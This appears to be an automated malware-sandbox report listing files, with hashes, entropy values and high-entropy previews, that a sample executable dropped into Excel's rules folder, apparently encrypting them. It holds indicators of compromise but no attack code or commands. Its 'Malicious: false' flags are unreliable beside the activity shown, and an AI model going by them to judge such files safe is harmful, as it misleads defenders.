MD5:	6330A4A8C43CC7FC0780B61F7968D1BB
SHA1:	26CEE463B117556358731B2C8599F14E112F884A
SHA-256:	F87EC0F30BEE0195878494CFAC2F6F685FF0561A0CCD042D001B1EDA88FC77ED
SHA-512:	F13DC480AFBBFEC268F3B71EFBB624A56709AA640DF32F87319D57F5F05B6C62BCB3B3CD6395C6273727784E2AD86296DF5DB2856707686A3E3A28AE65F59A43
Malicious:	false
Preview:	<?xml..@.6.4-....."Y.O.'.i%<N..btix-..-9P.l..?=.z...lZ.....?=...&.....g...}v...J:).....l.F..({R....Ol.;t...c.^Z.T......`w...t../...g..?...~.5a~1.p.i....r.`~-(N...Q...P....<O..8:......O...w"H....rB...V.G...R.E.A!.a1...ukUc/..\|.&._....>.......6... .0...wR0Ec.....xn%....M...GN]Jt...0%....?.+.i.......:.>N.u..3...%..>...mf.4H.u.5.....4.b...s-.aF.../$HW...K.H.ctV..........a .`.4...8..u..~.T.;V8.".jq..T.z.......D.......q.H...c.95O}.!.._....,.m,..DU...iB..-......#MVa.X.....P....G..~kh...!X2.O.R..,.r...U;1.xy..P.Js..q.F.....X...s.}...}A>r......UA..x...e........@..u...Y.p2.[[i.{\.k].j..vp.=i.........G..dj.....}.x...N.....sN...\|42..tu..4X@../.....@....2..\|Q.uj..6...K...N~..'.g............2tHy.b..>s$...E.7..O@9...LD....l.l$l..w..Yq.OA..6^.$"...>M).-..:...1@....[... .i...ph.H..Y.eu...&..\.4..=.z7(.[.\2v.*...4OS.].:.?;....}.,uhG..T.'.....G..E...m(.....$.5...T...j.....4......b..........dp../..!....+K.....q.......Eor.#.........}...SQ..9W.S..b.fe..C..`..d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.674488889356847
Encrypted:	false
SSDEEP:	12:iE/xxG/+iSyVhuAFCVSkqcs084x7z2B9M/1YNiwF8gBEB1ETSNGu91gUgx5Lw6ML:iE5xGmRGuucXqcsI5zq9M/1YNiDgB+13
MD5:	21B425F50BB82E52661878490884019D
SHA1:	0FB048F2979F7F2C34E8BC3DF5DE38C9C020177B
SHA-256:	C450F58ADD819273EE64CA2AD82E14163031A1D3F3669FB1F5D76C84B19B917F
SHA-512:	EE93C0EDEA568CF30F8732FA7D5D3326D4C2A20E6F05F3E11EBEFCA4877E183A0B0E2876287606A4C9F0F2A7DA69A497A99A0D90BC4CDBF5472E3B9AD3985864
Malicious:	false
Preview:	<?xml.C.,"~....W.rsB...[..M.L.].'2.....+m.G>..A.'..7.D..."16X8..c..M}..#.9........+.\|_..a....5....`..a..i/f,2..H.'"......y.2..%...(1.M.` eUv.WE.%...0&&.o>.,....Z..e...8$.r!.......N...B...@Aj......Y....V...I...@n...C...1e,@.]..N.+...MM......l.sU.C..'.Z`....D>..gV....^q.}.U2Z\L..X.v.y.W\|._?/...}OP...1j.XR.5...-l.Z...(.C......!.._.....+.,7n..l.,....0..w.3.....WB..>.g...8.....U`.U}.}.g6.n{E....R..C...&p....~..v.%...!M.MHY..k...@){ G.\|.E..x`........-.<B4...^..EfA.4.D4..v.......Ns....=..Kr.x.n..Ymt.z...C..u..Z....s.. ?"k.4....o.#...W.g.a..\|..\|n..sV..N<3.\"\|,.+.NH...,.h.....dI..BM.O.i...\...H..E.).,_..$/.J.....c.N....d:..d.\|..]....G.....s...s.p.1.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.650102377144069
Encrypted:	false
SSDEEP:	12:8w/M2suJXhP498yb4+69mjNf5wtcGnZ8fFpgGo+H61dhcO7Egu/YvuOnxBw3KCbA:jMFuRxy4+6A5563nOXgqHm7tlvq6isbD
MD5:	35C05C11D1378B1665B6413D08AB8032
SHA1:	2D01A9CA54888FFF91B0EE06CFEF82E922E8D0A9
SHA-256:	8EAB566D40A39D258D5D0F1755238F957D53F56315CD008C527FC906969015DE
SHA-512:	DE75C14444EEC647B634E9B4F3A93E27A7F633583804204D2FBBA777F3765C016BCC5DEAB2EBE4B0E6256269CE3FE4BBFFE2E785B3B923F13BEEBF7C28E1C12C
Malicious:	false
Preview:	<?xml.#@.8G.y...goVG.l...O3>.:.>..<.......t.]y...tK.........@.5B.WJ..[..d&....oE.B.z..p.?...-....`......`.8...N...w..I.. y...p.n.............G.D.9...<b....-{.Ka.....cy.~....5F.D..+......4a.#..=.n...KW...f.Z...=i...........v.1^1S}.h{..PHv..A@..C.6{.9.....3..?_.g^.\|(...9..^-.-Dn.1.J!eA9.]Q.p.i........~..s.l..n.v..@.KI.Ga<..{.. .".NZ.{....^..P...ao.!vS...I....s.<V.V-.k....(.....OE..d..~5...!.k.Wo.d..'DU.75...s.9~.P.%g1.\|...:.}]8..#....!..$.#.3q.....8..l. Y.!.o..h...."..}4Q........6..^..+pl).Eg.7B.1{...k.7.........9.V.c...]._....<..j.\......CEME.....W..0......b.8..x.!..-.C`\..}.7..-....#.......&u..`+...F3....S..-.M~x.1..<.Afi..N`O..y..+z5a..G.#.fk.)..l.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.879029802045862
Encrypted:	false
SSDEEP:	48:xYhA+HcwghCeIrI/f0UJUSogeacnsVncjHnskmD:xmA+H/ghCeIrw8U6twVch+
MD5:	FF9E5EEE1F68029D4E1E7140BDCC4F67
SHA1:	331594588C1A81232AB7D185D4BCC252FCFBEBA8
SHA-256:	6F249A27607536658F3C3081F3EFB4EABE9063735F836765847A5D1DA9E17753
SHA-512:	48F95EA9918EA9EC99BF3BFC0BCFF3B675FC0A49A639B88AB0779BCFD8AC4476DE21B64AE663F794C1DE9E4DC1647A8EE0CF07B66F7D2ABC53E45722337EAF30
Malicious:	false
Preview:	<?xmlW\...W{...;...").$B.4...}.u(.bo~N........,...nO#...n.}.#s.0aq...t....C_%Q...1_0ELA.w0..&.;1......Y..e-.IAq.h...D..X.C,..a.....(.....g;9.S.\|.C....^..D.......9...a...;.xu.qQ!.%...?.HW..BR.Q.5....1#.......D..4Xj....N.U.\...u..,....>c~.k....r.5..........3F.Re.."b....W...7........N.....S..........a.....I....a..jV.i<.f.i.....r...K.....J.9.....w.P.......l..W.!.g.`....n...E.pq...;.e:q.L.....#K.#.,.\.......<...q.....;#.b..F..w...Y.E W....O..v_.k.#..n..c..@..`.VP.n^O.n.~ni)\.eQ.S.....b...G.U...<...'SV.^...o..A.........~..#.+.8..L..7..z7:.m..G..?~_..n1i......w...G..~.].k..............q..L!Z..yH.>6L.s.nZ.j2..K..T5...............S.."..r...I..'.fQ.m-...D.._.>..B.J.c..y].............'i.W..W+....X...s...E...&q...<c..0.`......:.t...i,..9.^...i.....:..dKW.~...<z...9.....\ V.N..:N..[.]....I.\......].P'.......%F.g...O.2..3/.....o.{.%...I.z....)?.....Q.`F...&..X.........J....1...7.$Oi[.i4......X.. 7..'.X>..!-n..u.i)O.&....8..'U.....V....B..a..S.S3+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.890467555804814
Encrypted:	false
SSDEEP:	24:9Nfc9YYa18jNU+BcphH8Nig6K8jsrYjIe8bJk/J7v+7m99f4pquJsix8sZLHUlAy:3fBwjNxBc86tjwtk/+m/f1CDisZL0cmD
MD5:	01F8F6B4FFE93A9ECD9ABCA4A0ECF236
SHA1:	4C0ABD6ED4129CC68BA7EA33C68EA1F049351539
SHA-256:	5515B9263965ADBC7920F3E4E28591C192C048CBF0EC7445897C8C6F7E75135F
SHA-512:	CC434A4345E1D9250A486C6728B69D07C6EB229B60BC041B3962882EFACE1C70FC2E79484CBC49003B68DADC212F0CFD865326DE9AE900F1C2FA4E14239158C8
Malicious:	false
Preview:	<?xml.+19F.{5.C...0..,9By.d.)4A....bt......v......'..Iy..P......./..A..,..7.."@....r..z..bg2Rzb.1.u....Q..\....".l./...\.B..I..v?.8.Y."t.......UN.?.2xn.&..>......"..{...ue..l...{..\..W....1.u.m.....)e.%Oc..r.+..Ip8O.0.#.4.....J...wX.(..G..l[v..Z...M.;..+.IQ..<.M..'.).8....K..N[.$;is=8.a.H..j......_.2..M.Q...!.'z...:.i,..b......1Tl=...{..aE.0~.......-..S.]Q$..........+..RY.1.1.;.....Lx.s.....`..........0..O.l.I>.......6.........x.!..V.{..u...jE....;.Q......Q....Bm.:.I.. .R......t.di.a........o.QT,...H.E %.I....$.e.T6.`...#1.A<..@....... ...9>....F!4#..8...z........L.X.g.N....k..N2%=...s..<3.Q.%..m.&..x....Z....l..3g#~.T....>}Xp....^<..+.iW..lG.~.......q.q<.....Q..`.kn.2~......cL....K...2...d.<.7.p..~.wz.i;c..#.R'R..H.....mzsP...\.'=......}y..x...^...b<.&.............. ..p.Qh.4N...:..E1>yh.. ..jE....1P.[.'QV....)x...bL.~.7...H.Y\|G.. YX..R.-.2;...nC.O.?..4...Fx.G.V.F!@.....G....{.`....D.b.00...c(.5.B/^?.....$...u.O.....xb..I.f?.h...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.852482914195885
Encrypted:	false
SSDEEP:	48:Asm5GibtX/t6MnORhhU2HDtgQW7l9TCUXDmD:nYbtXl3ORZHRmdD+
MD5:	3D71FFDFB4208438BF388E16C8A6CB0F
SHA1:	BD302A0D9B10B414FD8ABEE804A390ACEA6D2ED3
SHA-256:	741329F759CEAD04F3A65EB824FAC5C6DF0FDD5B99859729B1DEA7810E2D31A1
SHA-512:	A7E1A2CDD77BFBB84ABD5C09028C42FD2F8B02D33E66436589CF163944033101CC7AF73E871929431F1CA346CA7CE8CC98A8A7C5A2B81AE97D86D1C55C8B37B4
Malicious:	false
Preview:	<?xml=.4J,...{K.y.P...1O.0`.gL.I.!...1@x...Q...g.+=v)."1&#...J.h~B;...O...i.......k.....q....F.j..:x....<vq.601YP..1.hE.$.Wx.1...Nx(...v)6.\8>..<.bv.E`p........]..kk.b...._.JZ..TQ..id.jeel..tP.9R7....wm.?{}.'....9..F....zJKZg.o.D....D...i~.?C...\|\|W.....O..C;)tC.+...@._7.L..d.@.`G .g.......).E ....9._..io.&9.-.....x....K.)..3u...B&..b.Y.....kS.H%..2...$.....K... ...1.&."..Z...k!."$.r.P.8X......9...2..dD+......t....@.x.Qkx.....60....g..Y.~.?.n......n...r.....'....[.........nG"b....Q#.=..1.L.X..]Cg2..9..vE0{4#.?.8...^..+..)..'.ot.)...'.r..XL...B.M-....A.....&A_.:.C.4..~.4.......[\|.}..D.....@.!Yf....B.]..V...Y'$w-....."[D....P.pPa.\|....._.(m....i..F.'.)......~...\|8.l.....u"...2J..v...17m+.P...T..R..W>".. Q.@.y.v]..s.......T...0..}.\|B....u).h.W8..eQ...uP.'[..f...h.A.u..i..u.....L..Qu.h....J.A.'..yf..$c.n..E=V.".....)..G.@3.T....B k....m...AAd..,.&..N./..%=...l..Ee.T"..P1-.>....7........{...U".$u.D.6.T..N6..l...v.e..>..W.U...u.....!...0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.893787985193196
Encrypted:	false
SSDEEP:	48:eJYlN7br5oUiEbOlruiRf6mfBM1poQPdHiPmD:RxCVMOIhmfq1ZiP+
MD5:	FCA59AC0E407A692E91177DB863B1994
SHA1:	016F4BC70D5188BE85E06E3F1FBAD7AF4D65081C
SHA-256:	A82551FDDACBF6FC3C6D355CA0FD7390CEFD44EA2DC2BE9AF3C0E4EE1003A53D
SHA-512:	73C82883CCD62019B929147ECB316B3384A9EA4D51D74F8FF15C146572495F95E4EE01ED9133627778A39D79D6E97F48EB1E4008D261FF2BCCC316330BBE3AB3
Malicious:	false
Preview:	<?xml.U.Jj....1.o~Z..(....M0=.wT."..5...ajS....HF.......T.jy...L...,..c.h>.C...XJ........Pn....(..dAA.~Im+..X.g#.zU..3..$.\|..'s..$'..[.@..%l..=.R.8...%@...."...G <....y....L.{..`t2.....S._..:..g..#..+...i...h..t.ze0.....!/2.?R.....H...(..;2d.....Vc.. ..}4 N.....d...X..BDdY.G~.y....".b.ZH...5..R_.L~.NM....t.2....]....OU.U;@......k..]...`.....r..:(vE2...r.l.j.n.C3....R.A..X.t.N-..BvOn.(!.."...N..a.Fq'.9...$OfU....G.=..RO..\.g]5\|.`7<Oz..H.\. ...m...o...o-..G.^..UHt.u.....z..}.....Lj.<.0...g^...#5<d.Z..vO..u.L.`.E..fx.-...;'...vp+.....a...U&.C.....3...Uj.H..a....Hn.(..Qz..A^,P.....fj\|.F......Z..5R..:#.'......\..6e.}.Ps.P?.p#y.w..rS.eF...=......6.3..4X.>....d@....[.:.otl.M..s:.......B.D.Vn..'k.......f.....C.Ho...3,..\|;.vwB....GZZ.......l./?..-.B..W.?..O.f^Vl...(...W.$B.s .i."....}Xst...z,mP..\..N.........k.e7h..v..&..4.?......~.k..>.wx.i.{....G....6;n./.cS.....p.....C#...."..{r..h...q..0..eX..p.ti.A.....M.Y.........^ ...dMF.d.$]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.87423814469034
Encrypted:	false
SSDEEP:	48:4X904CmRrE0W1QtHZsk/Ekq+C3xkb/KwtfmD:I6DCtW1Q//Ekq+C2DKwt+
MD5:	F512BC5FD16B48B402C4A767F5DBC069
SHA1:	7BF2115338CB148B9145B3BB818BFB3F46052DBF
SHA-256:	C16E41FA7D3BA4ED517E09D7A7C56D70A4F54BBF85CF7A59716DBF0323847B18
SHA-512:	5275A50157752C40F3D296D9999FDF0244DFFA0171B918098326B6E556980811DD33FF5A8524C852708A908C46A33CCBCA8C1194405FF54920C2197BB6A70676
Malicious:	false
Preview:	<?xml.6...=i....y.q../........R.F.3L.............r...WD....S...?U/....81..>....q.V.`.k..$.'...UF(...Ia.-.jE.o.)..w!.....q..aLA..yAg..C).mN6.6.W.N."%......2....b.t...p..w/.uzq....z.^.....!..F.#...es...T.;R]....8l...<.p."...+.SAY.P.L........<...%..._..C@...E[..LKVG.C<....9...i. ....)...L.8t..q'.Ry...K..):F+...a..Q......@L.73.4..E..w....}.}...&....1..................`.}.P..I......KI........E.....MK..p....aN.6{..#.J..e....2.....Z..8..4C.C...}dlg....Y.......+y..g%..qey...K.w...H.KH.L2....oN?.....^@.D....)~.D.oA..A..x.IEm.?l.w..i.L..A....B.S.G....jH?..E..LgE..z..t..;.}#.+..5{.%.e..-.....F..S......6a....S..%.R.....Z.,>_.H._.%.Y+.Z.]f.} .2..`....50N...).Z..].+....\|.........q.z.....~.....L......5..o...d..3.yD...y...nn.B..E].k.....4H....}...H.MB_....e....cn.. tQ....IF..\|L.\txS...Tb.$.To..Q..`..A_.S..4..[....KD......"...j.5.....?.........\f....n.tK.\..k&.?`.a..I....#[Q....+.....R.)...'.jT1....".#GV.D...0...i.'R.?.2...&........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.898432160500164
Encrypted:	false
SSDEEP:	48:KoLeOoN9PuffmOXwj9YkiaYoayOFa/IBvmD:BeOM9Wf24nB9a/Ev+
MD5:	930EFD880001A09DE45A58A43164C201
SHA1:	77B18BB2398C51FE358909B72D383A57509B26EA
SHA-256:	5C0842AD9EFF75DAB841AD8BD01175C542BDD0DA595C1EA67AA4FB14FA511F57
SHA-512:	F8A25634294E66FAA9D4B711F5525A1EC2BB1EFF984962AD920438EC97BD8DD92E4A3D9A781B6B5DF91E6C86B869B9967937D9F42B73A6B22482596ACD9B9841
Malicious:	false
Preview:	<?xmlr.or.&.?..}.ko%..6.-...A...~....[.s..[?../,!.....'.6............Kw...Wq.m..3....u.s...T.m.[........y.S.......^.{.x.R;U.d0.:......`..v..Fd~&...j9...]....v..Zo.)7.\|F./...{..c.b...Z..{...<+."..".........T.T4..}...#j.`....h...r..K...].\ER.F@.i2;\|...\|.Lu..@.....e(T..h..v.fb.~.....h.e...7.9...U....kz.....O...b63......p.8zLyi.ZO../..yg.E...P..._.n!..p..]....c.$..{..V^B....j.w@...{H.&......>xA."..l.X..:..N.R..^...i...A.Ub..].^..........~...n2....n!........K..P..x\.1.^rG..........=e.[.b..%.B.ACd##...C...@Q.;.x .....(.OM:....D..$...zi...U.E..s...8.)(!mS...........T....C..,.i>x.....?...}.p...~..U.G...I(r{..rq...U..K.vr_)..a.m.:[...YTg).WC{.._..R...#.x.!..P.j..%&.(....5#.%.Q.8>.m.Y.`s......n....{Q.u{<.:....e.B<..]Y.......5R.....V..v....$..5!..g!<.=m(...uK..I..........<...Nw92......'r.[... ..!..V9.3>-..kT..G..T.^)r....v...n.Pp..1.....{\|9...\....f...Y..6..b.I..S..C...../.T.4..?....7.XDt...u.D.....o.P....WU...8....B.O?2.%/.>.LoT..........<....Z3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.879847661044846
Encrypted:	false
SSDEEP:	48:MWSZP3URZUt/G5zGX7jYmXjOt9JhywlmD:MpER6xyGImzmj+
MD5:	0F1936A7CBAA0FE64FB601CFD6242BED
SHA1:	BE63F0CD65F71C680EF5BF65B23EE73398DFDB7B
SHA-256:	AD8A15C958FA1D95DDE3BD4F997CC4DC5F5C6A4F64249A83E476F33D2BA502D7
SHA-512:	53297DB2F27E606908B2E3FE79DAEE028D6FF01128DA17D35E869356951EC05ADE91D38D6981FE006477AA65F6BE0AE5CB5EA76079FD7C37C2387103F793F413
Malicious:	false
Preview:	<?xmlp..!Z.0.m.......Jyk...4.[.5^+.p...............).E.."i.....C..h...M.t\|..U.........!.L.[b .s........v.YX...g.F.`.'g.....\w../.r,....m.....g......`.$...lf..!Tn@z.-..\...Shei....B...).......U.;W.S........w..FTm.&4.'......Ea^..x...."..W{j.^d.....o.......q\|F\|z1.e.L>o...n'...uj.w......5u...?..N...J.RJvqQF.I.~.j..,....#).\|...!].[.r..kS.2..x....G.4.\8I..:.U.8.P..jm....>.hD .+....X....R..$...y.....6.6'.\|..Y;.`.@"rFQ4$.;................x....+...b,+Ki.>.4D..y.2.9v,!.= .H..'^!..7`.+.....g.u^t....O.......D......(.T.ZpK.\....S...b..`....;.....#.qj...P..~...[A&...U3.bi..e.'...ow....x...)..p.[.0Z.......*.p...?..&...v............j...J............O.k......Y9O.\..[^....\|...%...S..%O.....R.@.o%:.g.j.h.XT.N...6.+.W._.>..._U..^.k... .D.r....Nn.y.Ix.E$Z.".8<.R.G..I..Q....\|.....7.?.......J.......Ynl.2.R%.b._...Fd..]...Q...6,...e..+.....x...1@X.s1.a.........W...o.I.+..&.......Z`..BLl<..!-..n....g...$l...I.zK..}g.n.[j.y...P..8'I@...%R.+...g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8904853828430275
Encrypted:	false
SSDEEP:	48:LvacmlZHOQgCjfBNQQmplvGHp0sXHru3xdOFmD:OcmHgCjBNsplv+pqSF+
MD5:	B07C1EF2EE7C20A15494BA033FB29E5E
SHA1:	970A041AA43E6D2F762EE79BBB29124471D436F2
SHA-256:	92909847E0FC3632FCCE05D1CDEB5722A45677A16CCAF161FCDD3026250163BF
SHA-512:	8181E1209732228FFA1595D1D9E229E9AE367173804DBAC941594937DE8193743F977227A8ED1A4E4558AE2311C35B146174F8A8BBE5E1DD6DE477B73EFC20AD
Malicious:	false
Preview:	<?xml<i.-.:.....1=.X..3.UW.W$..w.q..m.......O4...3.....o......L..'......:...F...O.0...[...]..J]H..Xi.4s-.!..n...b~...%9.%..}A.G./~.k..-...).._.&...?.....`H ..,...C..B..d{.j.,.A.^...."...!I;.`)S.....wF...S.)O...u..z...1.{...kR...L..y.QT6Kz.~.P '.O0l..u........>a.^...[.Q ~..KIk(5A...x=..r.......</.k..'.]b..............O....'R...T.......&...kc>Y.h.T.I..ZC.....e.MX...{..........:4'3......-...^...m.qZ...9...../.#.Xm.f@..N.'YZ6...\-)..x..].l..8.s......Z.S..R.b.5o.?A......L...B#.y.>.+.S..}.....=....f....Y.}1&r.kd1[I.q._.a./.A.1(..X)m....e>....+)L......<~a..........:...f9..X!.kf.{..<?...`.9v..)t1....m.w...)b.e........."....jl.U..Z.tO..n.....4.BG/...t..L...".,..w.4.T.6.......GS.g.$......jP...].^.......).l%.6....}.P.om..#n=.rG.!.q..U..]G..$~K..ph....".I.....\Q.0.v.I.6...w;.v....hlHf.k9Z.....GW.....f...k\.:.K.Z.K@4........v......,;..A...7_ [=.t.O...no*.&duk&.3..V..3../d..SU......p......<.F...<.....N\....N.@.6^`o.g..f.%6ft...".gE...1.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879121479330899
Encrypted:	false
SSDEEP:	48:lvOXbUkUNQy31dJcftFTottKQaB6z2R0Ff0rdCCVmD:lvOr5UNBldJETutK56zHFcdhV+
MD5:	2AF0430A40D47A71841E321D0C4B7D8C
SHA1:	611A3C5A274F62D099D0CBAB691453B5A722B0E1
SHA-256:	535D6863F98AA601188D2ABA33CE90FCBD2BCAE0AC2AD4D8B4C4E9559DED85FF
SHA-512:	A007878ED6404B36D95477E1BD11E83A94630F58368276F72E248E8F1F42BAD7347B98D2B0B8C4CA9D1F5291611623CEB96E6ED5328EC37F12E52BA49AB8F57D
Malicious:	false
Preview:	<?xml...,.....\z..7.V..`....w.))f......._.<Q.l..0..?......w.......7k8..`N....8...u.q.h.....<.{.7.z......27j!.9...9\:,.$.u5.S........E\K..!.P.s..-Se#....K..H.2....Z7.\|.[......!D.y.sET. ..,s...'........".....y......ef.RU'...lU.m....[.....4...aF..]..f?..........6...v.\|.....S....=c...gi..#H..M.........<...(..jRT:.L..o.j.C.P.M.Q.M.._#4.g.V%.....9D.....-P..tbG..hL43.iQ..L......s..C.?....\|=..7..@.`.4.........cH..\|1. }.....c:.8+...m_`.k....#Uc...............s.I.Z.xE.l2...#.....~.....w.}..x.......st.JG..a0......[ ...}....K..{..]H....E..t.JX.[wJ\|....x.^$..8.DP..{..}....N H......IL...s.1..\.<$..T...b.l.&..o....BFoPF.?.Aq[..n.E.S..$.\..+...O...oP.$.D...w......>_L....o.....~...r3X...A....x.....L../.._4.....5.n_.<.~.zs.qE..j.......d....j2.....wj..\..s9....xX.......^...N..iZ..nF..n6@..ffD....Ia.?.aGp.k.;..)..Qa.$....q........W.&o..m..v9..]~U-`(..y.YI.].(..f[...V.dL...;.H..:8.amq.m!.P.@Q.=.Yq./q.....n..8L.f...,.........(.....&.sX...i..}H`>I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.88158386874606
Encrypted:	false
SSDEEP:	24:CxVQ/X4/e06JzeiOUGp5X+Aa3IcG9DDo4z3h8Ca8ZfmMUXn8iO6uFqH/EIHsbD:CxY48zeiOUSX+APXoy8C3xUXnkuHmD
MD5:	C7EEB2CC51C882AEAE78940347663CEF
SHA1:	957B78E6B0D202E21EB8EA4FA9DAF63C3AFBF472
SHA-256:	066EC5E399853AE46F30CEE3C9AB837CECA6A157C5625CF8DA195CD91D923BF6
SHA-512:	485A6A2F08CF60D26EBFBE7D124C86435A056386C42448B431B6A91E32F7A1E7EFEF0535A80B4169465765E3756E7E1247B72DDFF17AEDAA9407E3CD8C2850DA
Malicious:	false
Preview:	<?xmlH.c...-8...[.wh.~..:...2T4.....B.hN.2.~......W.(.....F......)[" 9AxKJ...ic....V..;. ....g...X..=p}:.k....1...'...5%.,I..v.{<XW.m@..t..V...t. .J%......$"..._..5.e.fm..A..%.m@=..8...w..k...e.. ....E..........\~%[.y@..W6k..........._~gSF.!....5..%.5V1...I.......b....f..C..}...n...iY....`<..MM.w.!.$..8...s.3GGJ,..#.TQ..g...&..!.8e.[..za?...-.J..v.;...e..ZMa.].H..b..?..g.$.G...YR.l#.5.....[..b.......?G.2e.v.a.p.Q.G.H9".bR..FpH.\|.o...2n?3..b+wat....8.$b..x.lxj..l.I..o.......tt....aNo.E..V.K...t.G..0=.Qd.Y.W...2.B...PM.$c.)#.V..fR...,l..Y.L..D-n..l.p.}.P...V.#v..........9.Y)....!=X.s$..z).r5a:......t.. <1i....9B=.......p....A0.6..Y.D_}..M.....LG..\#.0.EN....'....:..xU..$2yo.\..W..Y<..1u..e.....N...[ll..N.=.SB.P..Eb{....n.6..F.A...=..-gWq...f)2.%....4G.f3Y.U..X..5.).<."e@..........T.H)...X...F..>aV..D....,".`>ko..n..%@.......^...<..P..G..s...W0N.@.. ./..j.).wt@.%..k.>...[..1..l...K.....O}m...h.....t./E...@E.......?}.&{..I.U....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.886981204201461
Encrypted:	false
SSDEEP:	48:667zn0rcKP1JzKvKCrE4n6n8oVCb1jABryiRwHoZmD:66774PLzCrE46n8ma8H+
MD5:	4ECE4A1AD029343E68A45666CBBA1F4D
SHA1:	5010DBE99481807621205C93CE07339001BCD740
SHA-256:	635D132BD321F8E957B10EE5F32EC3BD4F8030AADFE475642BE383F2723F8C1D
SHA-512:	9DCF2BB563B04DC2F4545F1D7AD17269314DCE3DAAF800ADADC536AEDB8E0FD8E55EE702615D8C77540042FC651109075115F02A61A4F30112C0F5C5A0760E95
Malicious:	false
Preview:	<?xml+i..T.......0U.....:.......H.k..f9..k.. J...$....Y.(......E...T.6.15.C..).}.f.....~.<.A..{.eZ. O/.5.1`.Q..m..1.3..Tn...GLM.....)...5.g.L..L....?b...B..M'.mvN.M=.v0=.^...z0.%C\|.q".z....."...b.`....Y.......#/X...?...j!V..p.q....Y:.Z....K....G@ .....K...).....als...............7..}.......nS...U..A .....g....W...........%AL.\|T.h+-b...-..&S.p!.....,.B..R.$.T...`...u..k...5J.pa2...7C.Q..._lU..p........r...B.U.g.].1.l..g.)..+..0......f...^P.s!GJ .;3....Xsu.JP.h..........Trr.t..[.1h.(...q.t...V....x.be.Q.u....h}.e.J.\....l.-.W.Qk..9>......:.J..h....Ocs..).H..n'-~3....>,xxs.D..Y.."Dw.{............)^....;2......z\|..PD....iq.....fo....g(2.e.....J.\|.....z..._..(...C..."..B.]..A+Ga4.O.........Jh.=.....BLF..u............Q...\......vs..).z.t....`...J.r.'.....h.ggX.K...t3&.H.BE..8q....F(...K..4.wU4{....VCz.T.G.HT.x".........9d..F}..V...Q....*Y..'..4..`..Y....$^.s+.p(4...,z...3.fh........@.;.f...Z..\...En.IJ..+b...g.D8l.?..l.p.....a....^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8882180571294995
Encrypted:	false
SSDEEP:	48:JDXC9MWNqZkOPvzxE89Ipt8mZdI/WD7vkpmD:53WNUkOPvzC8uhIuXkp+
MD5:	720E9D4066878FA85910C94381CC2A9D
SHA1:	68C6457AC5826117124929A4D8A88A5A9417680C
SHA-256:	70B8597ED7F9B26AA3C5F81C28C4C3ED367284B1981B579492931A30A16D6E4D
SHA-512:	0F37A8FF84967D53A0D0DC4163708050655D752EED1DB6516498DF1A6091566E2D10B6F51D7AF11E515A37A93DFD61E9A13D7F6AF23842899D6DE4EAA31ADD3A
Malicious:	false
